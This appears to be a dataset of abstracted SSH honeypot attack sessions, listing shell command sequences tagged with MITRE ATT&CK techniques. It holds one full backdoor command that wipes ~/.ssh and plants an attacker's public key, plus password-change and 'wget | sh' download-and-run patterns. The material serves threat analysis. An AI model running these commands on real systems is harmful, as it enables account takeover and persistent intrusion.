('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

T1222 File and Directory Permissions Modification


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh')

T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo | chpasswd | bash', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cat /proc/cpuinfo | grep name | wc -l | head -c 30

('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l | head -c')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo | chpasswd | bash', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'echo -e | passwd | bash', 'echo | passwd', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'echo | chpasswd | bash', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo | chpasswd | bash', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo -e | passwd | bash', 'echo | passwd', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo | chpasswd | bash', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'lscpu | grep')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1082 System Information Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'echo | chpasswd | bash', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'cat | grep | wc -l | head -c')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo | chpasswd | bash', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'echo | chpasswd | bash', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'echo -e | passwd | bash', 'echo | passwd', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'echo -e | passwd | bash', 'echo | passwd', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


